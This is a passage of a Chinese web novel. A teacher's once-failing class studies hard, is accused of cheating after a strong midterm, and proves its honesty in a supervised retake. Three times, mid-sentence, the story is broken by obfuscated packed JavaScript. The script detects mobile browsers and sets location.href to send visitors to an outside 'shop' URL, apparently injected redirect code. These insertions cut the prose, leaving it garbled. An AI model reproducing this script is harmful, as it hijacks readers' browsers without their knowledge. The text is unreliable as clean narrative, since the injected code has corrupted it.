谢昭擦了擦汗,看着她,忽然笑了。 “徐老师,”她说,“我好像知道我想做什么了。” “我想做生意,不只是像现在这样摆地摊,是真的做生意,开公司、当老板的那种。” 她说这话的时候,眼睛里有光。 那个光,徐嘉禾在徐湛、于晖、还有很多其他人眼中都见过。 那是找到自己真正热爱东西的人,才会有的光。 “那就去做。”徐嘉禾说。 谢昭抬头看她:“你不觉得我不务正业?” “什么是不务正业?”徐嘉禾反问,“你觉得徐湛学计算机是不务正业吗?” 谢昭愣了愣,摇头。 “那为什么你创业就是不务正业?”徐嘉禾说,“三百六十行,行行出状元。关键是,你是不是真的喜欢,是不是真的愿意为此付出努力。” “不过,”谢昭犹豫了片刻,又叹了口气,“我学习不好。” 三个人齐齐回头看她,少女的眼神里有迷茫,但更多的是认真。 “学习不好可以补,”徐嘉禾摇了摇头,“毕竟做生意、尤其是做大生意,光有热情是不够的。你需要知识、需要眼界、需要人脉。” 她想了想,又问:“你们知道为什么我让你读书吗?” 三人齐齐摇头。 “因为读书能让你们看到更大的世界,”徐嘉禾笑了笑,“谢昭现在想做生意,看到的是我们学校的市场。” “可如果你读了大学,去了更大的城市,见了更多的人,你就会看到全国的市场、甚至全世界的市场。” “徐湛、周文瑞,你们也一样。” 谢昭沉默了很久。 “徐老师,”她终于开口,“我会努力的。” “努力什么?” “努力学习,”谢昭说,“考上大学,去见你说的那个更大的世界。” 29. 第 29 章 谢昭说要努力学习,这句话其实也没人当真。 毕竟,从徐嘉禾来到锦大附中开始,类似的话谢昭都已经说过太多次了,只可惜每次都是三分钟热度,过不了几天就又恢复了原样。 但这一次似乎不太一样,因为周末时,谢昭把自己关在房间里,整整两天,除了洗漱吃饭都没有出卧室。 她坐在书桌前,把从初一开始一直到高二所有还能找得到的课本和练习册全都翻了出来,一本本摊开在桌上,然后对着那些她既熟悉又陌生的知识冥思苦想了两天。 周文瑞是第一个发现不对劲的人。 他家离学校近,一贯是他最早到教室的,结果周一早上他推开教室门时,却发现谢昭居然已经坐在座位上了,面前摊着一本英语书,嘴里念念有词。 周文瑞揉了揉眼睛,确认自己没看错。他看着谢昭这副专心致志模样,吓了一跳:“昭姐,你这是怎么了?兴奋到失眠两天了?” “不是,我有那么没有格局吗?”谢昭打了个哈欠,趴在桌上翻了一页书,“我在学习好吗?顺便想想,怎么才能快速把落下的功课给补回来。” “就为这个?”周文瑞愣了愣,笑道,“这种事情你自己想多难,你去找徐老师问问呗,她肯定有经验。” 谢昭抬起头,欲言又止地看了他一眼,又趴了回去。 她当然知道可以找徐嘉禾,事实上,这两天她无数次想去找徐嘉禾,但她每一次站在房间门口时,又都犹豫了。 毕竟,徐嘉禾已经帮了她太多了。 自从徐嘉禾成了他们的班主任,几乎每一次,徐嘉禾都在她最需要的时候出现,给她帮助、为她指路。 但这一次,谢昭不想再依赖别人了。 学习这件事情,她想靠自己。 “昭姐,”周文瑞看着谢昭这副样子,沉默了片刻,问,“你几点起的?” “五点。” 周文瑞倒吸一口冷气,用一种看精神病人一般的眼神看着谢昭。 “那……那我也要学吗?”他试探着问。 谢昭终于抬起头,斜睨他一眼,疑惑道:“你学不学关我什么事?” 好像是这个理。 周文瑞“哦”了一声,讪讪地回到自己座位。他翻出包里的数学练习册,盯着那些密密麻麻的题目看了半天,眼睛发直,脑子里一片空白。 最后他认命地叹了口气,又死皮赖脸地凑到谢昭跟前:“昭姐,这题你会吗?” 谢昭看了一眼他指的那道题,沉默了三秒,面无表情地说:“不会。” 周文瑞:“……” 谢昭:“但我们可以一起研究。” 话虽然是这么说,但谢昭心里一点底都没有,她看着摊在桌上的课本,只觉得脑子一阵发晕,大脑将题目自动读了一遍,却没能理解题目的含义。 第一节课是数学,谢昭没有走神,盯着黑板努力听讲。但老师讲的东西像水一样从她脑子里流过,除了让她变得更加迷茫了之外,什么也没留下。 下课铃响起,谢昭叹了口气,把笔摔在桌上。 “不会?”旁边忽然传来一个声音。 谢昭吓得一抖,转头就看见徐湛不知道什么时候站在了她旁边。 “你怎么走路没声音的?”谢昭嘟囔着别过头去。 “诶,徐湛,你来得正好,”周文瑞却有些兴奋地一拍掌,凑了上来,“我和昭姐有个事想问你。” “你,和谢昭?”徐湛蹙眉,看了眼谢昭,见谢昭也一脸迷茫地看着周文瑞,这才收回了眼神,“什么事?” “你学计算机的时候,是怎么学的?”周文瑞问,“从什么都不会,到能看懂那些代码,你是怎么做到的?” 徐湛愣了一下,随即明白了他的意思。 “慢慢学,”他说,“从最基本的东西开始把每一步都弄明白,不懂的就翻书、问老师。刚开始会很难,但只要一次看懂了,慢慢就能看懂了。” 谢昭看着徐湛认真解释的侧脸,忽然有些恍惚。 徐湛的学习成绩在五班虽然算是好的,但以前谢昭从没把他当成可以学习的对象,毕竟这个人自己除了语文,其他科目也是一塌糊涂。 但周文瑞这么一问,谢昭才想到,最近几个月,徐湛的成绩肉眼可见地在进步,现在他已经不再那么偏科了,上学期期末考试的时候,数学满分一百二十分,徐湛甚至考到了八十多分。 “这么问,你们是想要开始认真学习了?”徐湛见谢昭发呆,伸手在她眼前晃了晃。 “嗯,”谢昭回神,“想把落下的功课补回来。” “如果需要的话,”徐湛若有所思地点了点头,忽然说,“我可以教你们。” 谢昭和周文瑞齐齐抬头看他。 “数学和物理,我虽然也不是特别好,但应该比你们稍微好一点,”徐湛难得这样自吹自擂,说完耳朵都红了,“如果你们不嫌弃的话,有问题可以来问我……” “嫌弃什么!”周文瑞眼睛都亮了,一巴掌拍在他肩上,“求之不得啊!” 从这天起,每天早上六点过,高二五班教室里的灯就亮了起来。 班里最早到的变成了谢昭,她家离学校不算近,得倒两趟公交,但她愣是每天五点四十起床,赶在早自习前先背半小时单词。 而到了课间,谢昭、周文瑞、徐湛三人就会头挨着头、凑在一起研究作业题。 谢昭基础差得厉害,许多时候连初中的知识点都要翻出来重新学;周文瑞比她倒是强点儿,但强得也有限。 大多数时候,谢昭和周文瑞两人会对着同一道题发愁,这个时候就要靠徐湛来力挽狂澜。 一开始,周文瑞还努力按着谢昭的作息计划走,结果坚持了三天就蔫了。 第四天早上,他顶着鸡窝一般的头发和两个硕大的黑眼圈走进教室,发现谢昭已经在精神百倍地背单词了。 “昭姐,”周文瑞把包往地上一甩,趴在桌上,有气无力地说,“你是不是人类?” 谢昭头也不抬:“不是,我是外星人。” “那你帮我写一下数学作业呗,外星人同学?” “能让我帮你写?我看你也没把作业当回事,”谢昭终于抬起头,面无表情地看着他,“周文瑞,难不成你数学作业一个字都没写?” “写了,”周文瑞理直气壮,“写了名字。” 谢昭:“……” 她深吸一口气,把刚收起来的英语书又摊开:“自己写,不会的问徐湛。” “徐湛?”周文瑞扭头看了一眼角落里的徐湛。 这两天,周文瑞算是明白为什么谢昭一开始的时候不愿意去找徐嘉禾了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222531|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他这几天一有问题就厚着脸皮请教徐湛,虽然徐湛没说过什么,还很认真地给他解答,但三番五次打断对方学习的进度,饶是周文瑞也有些不好意思起来。 这会儿,徐湛正埋头看一本比砖头还厚的计算机书,对周围的一切充耳不闻。 周文瑞叹了口气,挪回视线:“算了吧,你看徐湛忙成这样,哪儿像有空理我的样子?” “那你去问老师。” “我不敢。” “那就空着,等老师来骂你吧。” 周文瑞哀嚎一声,认命地翻开练习册开始低头狂补。他写了二十分钟,被新的一道题难住了,看了半天后,用笔戳了戳前桌的背:“晓杨,这道题你会吗?” 吕晓杨回过头,看了一眼题目,摇摇头:“我也不会,正想着找谁问问呢。” 两个人凑在一起研究那道数学题,研究了十分钟,还是没研究明白。最后还是徐湛外出接水时,路过的时候瞥了一眼,随手画了个辅助线,又把几步关键的过程写了下来。 “原来是这样。”周文瑞皱着眉看了一会儿,恍然大悟。他刚抬头想道谢,徐湛已经回到自己座位上了。 吕晓杨若有所思地看着徐湛的身影,又看看身边埋头苦读的谢昭,小声对周文瑞说:“你有没有觉得,最近大家都变了好多?” “变了吗?”周文瑞撩了把刘海,“别人我不知道,但我觉得我还是原来那个英俊潇洒的我。” 吕晓杨此刻非常后悔,自己到底是吃错了什么药,才会想到和周文瑞聊正事的? 她白了他一眼,连书带人转回了身去。 不过,吕晓杨说的确实没错,五班学生们的变化是肉眼可见的。 起初没人相信谢昭等人能坚持多久,连五班的学生他们自己都不信。周文瑞甚至私下攒了个局,赌谢昭能坚持几天,谢昭自己还往里加了注。 结果三天过去,谢昭在学;一周过去,谢昭在学;一个月过去,谢昭依然在学。 “完了完了,”周文瑞一边哀嚎,一边心甘情愿地掏钱,“昭姐,你倒是转性了,这是想要我的命啊。” “愿赌服输。”谢昭笑眯眯地接过钱,转身翻开数学练习册,继续冥思苦想。 连徐嘉禾都有点不适应五班学生的节奏了。 她有天课间大张旗鼓走进教室,发现居然没人注意到她。 谢昭在背单词,吕晓杨在写作业,周文瑞和几个男生凑在一起研究物理题,徐湛一如既往在做他的竞赛题。 徐嘉禾在门口站了整整一分钟,一整个五班愣是没人抬头看她一眼,全都在做正事。 徐嘉禾轻轻咳嗽了一声,没人理她。 她又咳嗽了一声,周文瑞终于抬起头,急匆匆看了她一眼,然后又低下头去:“徐老师,你要喝水的话饮水机在那边,自己倒就行,不用跟我们客气。” 徐嘉禾:“……教室办公室有饮水机,我干嘛来教室接你们的水。” “那你是来干嘛的?”周文瑞恳切地提问。 一群人抬头,看着徐嘉禾,眼神里写满“你没活干吗”。 徐嘉禾一时语塞。 她来干嘛的? 她就是想来惯例巡视一下,看看学生们在干什么。结果全班同学即使是在课间也都在认真学习,她反而成了游手好闲的那个人了。 30. 第 30 章 四月的锦宁逐渐回温,校园里的各类常青树疯狂抽条发叶,阳光从树叶间暖暖地照下来,在石板路上投下斑驳的影子。 这段时间,徐嘉禾可谓是春风得意、轻松自在,五班无论是纪律还是学习都几乎不需要她操心了,学生们该学习的学习、该搞活动的搞活动,一切都显得那么井井有条、生机盎然。 她有时候站在教室后门悄悄往里看,看着那些过去被所有人断定没救的孩子,如今一个个埋头苦读、努力奋斗,心里就涌起一股说不出的满足与自豪。 徐嘉禾对五班的孩子们现在的学习激情可谓是相当有信心,她现在连班都不加了,一到放学的点就和许晴一起拎着包下班,两个人成天逛完公园逛商场,好不惬意。 甚至到了半期考试,五班同学们头顶上可谓是黑云压城城欲摧,一个个严阵以待,徐嘉禾却仍然每天乐呵呵的,保持着这样松弛的心态。 “徐嘉禾,”高二下半学期每一次大的考试都很重要,能够决定很多东西。许晴在半期考试前一个星期就开始上火,满嘴冒泡,“你怎么这么淡定,我快急死了。” “诶哟,别急别急,”徐嘉禾笑眯眯地给她递菊花茶,“降降火,我现在已经看开了,儿孙自有儿孙福,你替他们揪心也不是个事儿啊。” “你少来,”许晴一气儿灌了半缸菊花茶,喘匀气儿抹了把嘴,“你就是最近看你们班孩子乖了,有信心;我可对我们班没信心。” “没信心是好事啊,”徐嘉禾安慰道,“我有信心又没用,万一我们班的学生给我一个迎头痛击呢?” 不过,话是如此说,五班最后拿到的成绩还是超过了所有人的期望。 期中成绩张贴出来的那一天,徐嘉禾拿着自己分到的那份成绩单,张着嘴足足发了十分钟的呆。 不怪她惊讶,五班这次班级平均分考到了年级第六。 要知道,锦大附中高二年级一共十二个班,五班过去都稳稳地坐在倒数的位置上,从来没挪过窝。虽说期中考试前,徐嘉禾对五班这次的成绩很有期望,但那也仅限于让他们摆脱倒数第一,能前进一两名她就谢天谢地阿弥陀佛了。 可今天,发下来的成绩表告诉她,他们不仅不再是倒数,还一口气冲到了年级中游? “徐嘉禾,你不仗义啊,”许晴不知何时已经站在了徐嘉禾身边,她也跟着徐嘉禾一起,低头看发下来的成绩单,“怪不得你不紧张呢,你们班进步这么大,你居然还藏着这手不告诉我?” “真没藏,”徐嘉禾喃喃道,“实在是连我也没想到啊。” 许晴啧啧赞叹,顺带对自己班上那群不开窍的小兔崽子进行强烈批判。徐嘉禾笑了笑,还没来得及回应,身后忽然传来了一声阴阳怪气的冷笑。 “什么进步,什么没想到,怕是背后有什么不为人知的隐情,也未可知呢?” 谁嘴怎么欠? 徐嘉禾回头,就见高二三班的班主任李秀琴坐在她们后面的那张办公桌,用一种审视的目光,翻过来覆过去地看手上的成绩单。她身边还围了几个三班的学生,这会儿正目光不善地抬头盯着徐嘉禾。 三班虽说不算是锦大附中的王牌班,但那也是顶顶受宠的那一批班级。李秀琴等人平日里最是看不起成绩差的那几个班级,许晴和徐嘉禾的班级自然就属于入不了李秀琴法眼的那种。 这种级别的班主任,怕是平时理都不会理徐嘉禾,这个时候跑来阴阳怪气五班,是什么意思? “哪里飘来的好大一股醋味,”许晴竖起眉毛,似笑非笑,“李老师,你这话是什么意思?” “我能有什么意思,”李秀琴慢条斯理地喝了口茶,悠悠地道,“一个常年垫底的班级,忽然进步这么大,我好奇好奇原因还不可以吗?” “原因,原因就是人家学生足够努力啊,”许晴毫不客气,“怎么,就许你们三班考好,不许人家五班进步?” “我哪敢说不许啊,”李秀琴嘴上这么说,眼神中却带着些睥睨,“不过呢,五班最近是挺威风的,是吧?又办班刊,又卖奶茶的,多神气啊。” 徐嘉禾又不傻,自然听得出她话里的恶意,面上却不动声色,客气地笑说:“这倒是没我什么功劳,都是学生们自己瞎折腾的。” “没你功劳?徐老师真是谦虚了,”李秀琴挑眉,“不过呢,活动归活动,有些老师可能觉得,只要学生开心就好,成绩什么的都不重要,但我觉得,高中生的主要任务还是学习,对吧?” “李老师说的对,”徐嘉禾信服地点头,“学习确实是第一位的。” “那就好,”李秀琴满意地点了点头,“我就是来提醒一下徐老师,别把太多精力放到一些花里胡哨的东西上,毕竟,高考考的是学生的硬实力。” 她说完,也不等徐嘉禾回答,就招呼着自己班上的学生,拎着包走了。 徐嘉禾看着她的背影,眉头就渐渐皱了起来。 不知道为什么,她总觉得李秀琴话里有话。 许晴冷哼一声:“我就知道,她指定要来找你茬。” “找茬?找我茬干嘛?” “李秀琴最小气了,她就是看不惯别人出风头,”许晴压低声音,“你们班自从有了你,风头越来越盛了,这次还考这么好。” “她们三班这次还没考好,只比你们高两个名次,你在李秀琴最傲的事情上都给她带来压力了,她指定是心里不平衡、连带着看你也不顺眼,跑来给你找不痛快。” 徐嘉禾无语了:“我们班学生自己在学,又不是拿她们班当的目标,她到底在急什么?” 闹了半天,就为个这? “你可千万别不当回事情,”许晴看出她表情里难以言说的情绪,正色道,“和君子当敌人不可怕,可怕的是和小人当敌人,李秀琴这种就是典型的小人,她今天给你下马威,明天指不定会干出什么事来呢。” “她能干什么?”徐嘉禾叹了口气,“总不能来我们班撒泼打滚吧?” “那可说不好,”许晴摇头,“总之,你小心为妙吧。” 徐嘉禾点点头,虽然有些担心,心里却没有太过在意。 她来这里大半年了,什么神人没见过?就连脑子有问题的同事,她都亲手送走了一个,一个小心眼的笑面虎班主任,能翻出什么浪花来? 事实证明,徐嘉禾还是太天真了。 许晴的预言,在下午的教师例会上就成了真。 本来例会总是那些废话,大不了这次就加了个即将迎来高三,望各位老师提起重视。结果这次例会进行到一半,刘主任忽然清了清嗓子,目光落在了昏昏欲睡的徐嘉禾身上:“徐老师,有个话我想问问你。” 徐嘉禾心里咯噔一下,瞌睡都被吓醒了。 她立马坐起身,揉了揉脸,让自己保持清醒:“刘主任你说。” “五班这次考试呢,确实进步很大,我们大家都为你们而高兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“李老师不相信,可以去看看我们班学生的作业和平时小测卷子,你会肉眼可见他们都在一点一点进步,”徐嘉禾说,“如果李老师在看过之后,还有连我也解释不清楚的疑虑,我一句废话不多说,当场辞职。” 这话说得太硬了,谁也不敢再接下去,办公室里一时间陷入了安静之中。 “好了好了,都少说两句,”胡丽华在旁边默默看着,这会儿也是适时地开口,活跃了气氛,“李老师虽说是关心教学秩序,但话确实说得绝对了;小徐呢,咱们能力这么强,也就好好干,别动不动就提辞职。” “至于这件事,”胡丽华转向刘主任,“我们肯定是要查清楚的,不过没有证据的事情也不适宜在会上马上就讨论,这件事到此为止,小徐也不要太往心里去,明白没有?” 徐嘉禾乖顺地点头:“我明白。” 说不往心里去是不可能的,一直到离开会议室,徐嘉禾心里的火都还在噌噌地往上窜。 作弊这样的指控,放在任何一个班级身上,都是极其严重的,更别说还是五班这种曾经被所有人看不起的班级。 现在正是五班扭转刻板印象的关键时期,一旦这个说法被证实,五班同学这段时间的所有努力,全都洗不干净了。 徐嘉禾不在乎别人怎么看她,但她受不了五班的学生被这样污蔑。 “你说,是谁干的?”徐嘉禾的脸色实在是太难看,许晴忍了又忍,才试探地小声问。 徐嘉禾没有说话,摇了摇头,但她心里已经有了答案。 不是那位李秀琴,还能是谁? 31. 第 31 章 成绩单拿到手时,谢昭盯着自己的分数看了很久。 总分比上学期期末高了一百多分,班排和年排都到了中游。虽说还没有到吕晓杨和徐湛那样稳定前十的水平,但对谢昭来说,这已经是破天荒的进步了。 “昭姐,你数学多少?”周文瑞大呼小叫地凑过来,看了一眼谢昭的成绩单,又大呼小叫地跑走,“你居然考了八十多?怎么考出来的,你上学期期末不是才四五十吗?” 谢昭都懒得搭理他,只是小心翼翼地把成绩单折好,珍而重之地放到笔袋最深的夹层里。 放学后,谢昭和徐湛等一群人仍然按惯例留下来在教室里做作业。做到一半,谢昭忽然放下笔,看着徐湛:“我觉得我得谢谢你。” 徐湛从厚厚的竞赛题里抬起头来,迷茫地看着谢昭。 “这段时间,多亏了你天天给我讲题,”谢昭认真地说,“如果不是你的话,我的数学不可能进步得这么快。” “我……我也没做什么……”徐湛的脸顿时就红了,支支吾吾起来,“我也给周文瑞讲了题,但他进步就没有你大,还是因为你自己努力……” “干什么,你们说话能不能别这么黏黏糊糊的,恶心死了,”周文瑞忽然被叫到名字,龇牙咧嘴地搓了搓胳膊上浮起的鸡皮疙瘩,“你们两个肉麻完了,还把我给骂一顿。” “谁骂你了,”谢昭冷哼,“你考得怎么样?” “还行吧,”周文瑞洋洋得意,“反正及格了,这还是我第一次及格呢,是不是老厉害了?” 谢昭忍不住笑:“你倒是挺好满足的。” “那是,知足常乐嘛,反正都是自己考出来的分,有什么嫌弃的。”周文瑞嬉皮笑脸。拎起包,“休息会儿不?咱去买牛奶冰棍去,我请你们。” 谢昭和徐湛自然恭敬不如从命,三人浩浩荡荡地往小卖部走,在路上碰到了吕晓杨。 令人意外的是,在大家都考完期中考试一身轻松时,吕晓杨的脸色却不太好看。她看见谢昭,嘴唇动了动,欲言又止了半天,最后还是什么也没说,只是点了点头,算是和他们打过招呼。 “晓杨,你怎么了?”周文瑞有些奇怪,“考砸了?不能吧,你成绩那么好还不满意?” “谁不满意自己的成绩啊,”吕晓杨急道,她犹豫了片刻,见左右无人,压低声音,“我刚刚在卫生间,听到几个老师在说我们班……” “说什么?说我们一鸣惊人、士别三日刮目相看?” “什么呀,要是夸咱我能这么不开心吗?”吕晓杨白了周文瑞一眼,叹了口气,“她们说,我们班这次考试是作弊拿的成绩。” 她这话一出,另外三个人全都愣住了。 “什么!”周文瑞一下子炸了,“谁说的?凭什么说我们作弊?” “你小点声啊!”吕晓杨急得抬手去捂周文瑞的嘴,“老师们说只是有人举报而已,还没盖棺定论呢,你一嚷嚷别人都听到了!” 徐嘉禾和许晴拎着包往校门口走,正好就撞见四个人在走廊里一边小声骂骂咧咧、一边急得团团转。 “你们怎么还在这儿?”徐嘉禾奇道,“还不回家?” “徐老师,”四个人跟无头苍蝇终于找到了头似的,一齐拥了上来,“吕晓杨都听到了,真的假的啊?” “听到什么了?”四个人没头没脑地说了一大堆,叽里呱啦的,徐嘉禾是一句也没听明白。 “吕晓杨听到老师说,有人污蔑我们班作弊,”谢昭看了许晴一眼,想了想还是直说了,“学校那边怎么说?他们也觉得我们是作弊吗?” “这件事啊,”徐嘉禾再次为五班学生消息网的广泛程度感到惊讶,她摆了摆手,“这件事我来处理,你们别管,放心学习就好。” “徐老师,我们不是来给你添乱的,”谢昭摇了摇头,认真地看着徐嘉禾,“我们是想来告诉你,我们没干过的事情,不怕他们查。” 徐嘉禾愣了一下。 “就是,他们要查才最好呢,”吕晓杨在旁边帮腔,“越查越好,查清楚了才能证明我们没有作弊,都是自己认真学出来的成绩。” 周文瑞也难得正经起来,点头道:“徐老师,我们班同学不可能干那种偷鸡摸狗的事情,之前成绩差没干过,现在成绩好就更没必要干了。” 徐湛不说话,只一个劲儿在旁边点头。 徐嘉禾看着四个学生这副义愤填膺的样子,心里郁结着的那口气忽然就散了大半。 “好,”她说,“那咱们就让他们查。” 第二天,刘主任调查这件事时,把谢昭叫去了教务处。 “对于这件事情,你有什么看法吗?”刘主任坐在办公桌前,用手指敲着桌子,看着面前油盐不进的谢昭,一阵头疼。 “我能有什么看法?”谢昭冷笑,“总之,我们班是冤枉的,不知道是谁看我们不顺眼。” “谢昭同学,我也知道这件事是你们班受委屈,”刘主任语气比刚才缓和了一些,苦口婆心地劝道,“但这件事情影响很大,好几个班的老师反映,说你们的进步不正常,如果不查清楚,确实也很难安民心啊。” “那就查清楚呗。”谢昭直视着刘主任。 “你想怎么查?” “有两种方法,一种是找出当时我们有人作弊的证据,”谢昭说,“还有一种是我们重新考一次,如果我们的成绩还能保持这个水平,那就能证明我们没作弊。” 刘主任看着她,眼神有些复杂。 “你应该明白你说的这话意味着什么的吧?”他问,“成绩并不完全由你们真正的能力来决定,即使是同等难度的卷子,你们也可能因为过于紧张、正好遇到薄弱板块,甚至是单纯粗心,而考不出之前的分数。” “再说了,你们班那么多同学,你能保证每一个都正常发挥吗?但如果重考后你们的成绩比这次差,那可就坐实你们作弊的事实了。” “我知道啊,”谢昭站起身,“那你难道有更好的、能够证明我们没有作弊的方法吗?” 刘主任沉默了。 “刘老师,我可以问你一个问题吗?”谢昭走到门口,忽然停下脚步,回头看着刘主任。 “当然。” “为什么我们班进步了,你们第一反应是我们作弊,而不是我们努力了?” 刘主任想说什么,却又觉得这么说不对,愣在当场,半晌说不出话。 谢昭没有再等他的回答,转身走出了办公室。 走廊上,徐湛正站在那里等她。 “怎么说?”徐湛问。 谢昭把事情一五一十地说了,最后说:“按我们之前商量好的,我说让我们班重新考一次,看样子他应该是同意了。” 徐湛点了点头,和谢昭一起往教室走:“只能这样了。” “你不怕吗?”谢昭看他。 “怕什么,”徐湛摇头,“反正我们问心无愧,怎么能长他人志气、灭自己威风?” 五班申请补考的报告交上去,学校那边的反应出乎意料地快,第二天下午,徐嘉禾就被叫去了校长办公室。 “徐老师,你们班谢昭的申请,我看到了。”胡丽华把报告放在桌上,看着徐嘉禾,脸上的表情有些复杂,“这件事情,你作为班主任应该是清楚的吧?” 徐嘉禾点头:“我知道。” “如果重考的成绩不理想,就等于坐实了作弊的说法,”胡丽华说,“到时候,你们班这几个月的努力,全部白费。” 徐嘉禾沉默了片刻,抬头迎上胡丽华的目光:“校长,您相信五班的学生作弊吗?” 胡丽华摇头。 她从一开始就是最维护徐嘉禾、最看好五班的领导,这会儿闹出这样的事,她当然愿意相信五班是被冤枉的那个。 “您都相信他们,我自然就更相信他们了,”徐嘉禾说,“这两个月,我看着他们从早学到晚,每一个人都晚睡早起,熬得眼睛里都是血丝,作业和小测也都做得越来越好。” “如果他们这样的努力,是能被用作弊这两个字来抹黑的,我们还不选择去相信他们,那我觉得,不是他们有问题,是我们有问题。” 胡丽华沉默了很久,最后叹了口气。 “好,那就按谢昭说的办,”她拍板,“重新组织一次考试,由教务处统一出题,全校老师监考。如果五班能考出和这次差不多的成绩,这件事就到此为止,学校会公开道歉、澄清事实。” “但如果考砸了……那我也只能说,至少我是无能为力了。” “谢谢校长,”徐嘉禾站起来,深深鞠了一躬,“我替五班的学生谢谢您。” 走出校长办公室,徐嘉禾站在走廊上,长长地吐出一口气。 她知道,这是一场纯粹的赌博,赢了,五班就能洗清冤屈;输了,就无力回天。 但他们没有别的选择。 重考的消息一经宣布,就引发了全校师生的轰动。 有人幸灾乐祸等着看他们的笑话,自然也就有人替他们捏一把汗,比如说许晴。 “徐嘉禾,谢昭他们疯,你也跟着疯?”许晴把徐嘉禾堵在办公室,一脸恨铁不成钢,“明明就没有证据的事情,你让教务处去查也查不出什么,干嘛非得重考?这风险多大啊。” “我知道。”徐嘉禾平静地说。 “知道你还答应?”许晴戳她脑门,“你知道这会给你们五班那群孩子多大压力吗?压力越大越容易出差错,你不知道?万一考得比这次差呢?” “他们三十多个人自己商量好了,就是要重考,他们不会考差的。” “你怎么就这么倔……” “不是倔,”徐嘉禾打断许晴的碎碎念,认真地看着她,“只是我相信他们,也因为只有这样才能彻底堵住所有人的嘴。” “这两个月他们是一点一点进步的,这些分数也是他们一道一道题做出来的,如果连我都不相信他们,还有谁会相信他们?” 许晴张着嘴半天,最后气笑了。 “行,你徐嘉禾厉害、有种。”她叹了口气,“不过我丑话说在前面,要是你们班真考砸了,你可别来找我哭,我不会安慰你,只会嘲笑你自作自受哦。” “放心吧,”徐嘉禾笑,“不会的。” 重考时间定在了下周三、四,而接下来几天,五班经历了前所未有的严苛检查。 有教务处的老师来看他们平时的作业和测验卷,有各个年级的老师时不时地来提问和抽查,连李校长都亲自来旁听了一节语文课。 公开课一般是尖子班的待遇,五班学生还没经历过这种新鲜事,一开始还颇为紧张,闹了不少笑话。结果到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227140|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来,一个二个习以为常,甚至都开始有些享受这个过程了。 五班老师也一个个卯足了劲儿,毕竟现在还坚持呆在五班的,无一不对五班有相当深厚的感情。 自己手下的烂泥好不容易扶上了墙,还没来得及志得意满一下,就被人跳出来指责自己手底下的学生作弊。老师们也觉得咽不下这口气,非得好好证明一下自己是有真本事把学生给带好的。 周三是个阴天。 谢昭凌晨四点就醒了,躺在床上盯着天花板发呆,心跳得厉害。她翻了个身,把脸埋进枕头里,试图再睡一会,保持一个好的状态,但脑子里乱糟糟的,怎么也睡不着。 最后她放弃了,轻手轻脚地起床洗漱,母亲起夜去卫生间,看到厨房灯亮着,还以为是自己睡前没关,走到门口才看见是谢昭在厨房热馒头,愣了一下:“这么早?” “嗯,今天考试。”谢昭把馒头塞进书包,又灌了一壶水。 母亲看着她,欲言又止。 这些天学校的事她多少听说了,但谢昭不说,她也不敢问。她最后只是说:“好好考,别太紧张。” 谢昭应了一声,拉开门走了。 到学校的时候,天刚蒙蒙亮,连校门都还没开。谢昭本以为自己是第一个到的,结果发现徐湛已经蹲在校门口的路灯旁看书了。 两人对视一眼,都没说话,谢昭也在路灯边蹲下,就着灯光,拿出英语书背了几个单词,忽然开口:“你也睡不着?” 徐湛抬眼看她,点头。 “我也是。”谢昭说。 又过了一会儿,周文瑞骑着自行车、打着哈欠走了过来,看见他们两个,吓了一跳:“你们怎么这么早?” “你不也挺早?”谢昭头也不抬。 “我那是昨晚没睡好,”周文瑞揉了揉眼睛,跟着蹲在他们俩旁边,“紧张死了,感觉比中考还紧张。” “你中考紧张吗?”徐湛忽然问。 周文瑞愣了一下,挠了挠头:“好像当时是真不紧张,想着反正也考不上。” 谢昭:“……” 考场设在阶梯教室,全校三十多个老师几乎是一对一监考,杜绝了任何一丝作弊的可能性。李校长和胡丽华亲自坐在考场前后,高三教研组精心出的题目,每一个老师都做了一遍自己那科的卷子,确认难度和期中考试相当。 周五下午,重考的试卷被连夜批改出来了。 谢昭正在教室里低着头做题,忽然听见走廊上一阵骚动,她疑惑地抬起头,就见徐嘉禾推门进来,手里拿着一张成绩单。 教室里瞬间安静下来,所有人都看着她。 徐嘉禾站在讲台上,表情很平静,看不出是喜是忧,开口道:“你们的成绩出来了。” 这话一出,教室里更安静了。 “你们的数学平均分,比期中考试低了两分。” 谢昭张了张嘴,一时不知自己是该喜还是该悲。 “但语文、英语、政治平均分都和期中考试差别不大,理综平均分比期中考试高了近五分,这几分加上,咱们的平均分甚至又提前了一名。” “恭喜你们,”徐嘉禾看着底下屏气凝神的一群人,笑着放下手里的成绩单,“你们做到了。” 教室里安静了三秒,接着爆发出了震耳欲聋的欢呼声。 周文瑞从座位上跳了起来;吕晓杨趴在桌上,肩膀一耸一耸的,不知道是在哭还是在笑;就连平时最淡定的徐湛,这会儿也忍不住露出了笑容。 谢昭坐在座位上,看着眼前这一幕,忽然觉得眼眶发酸。 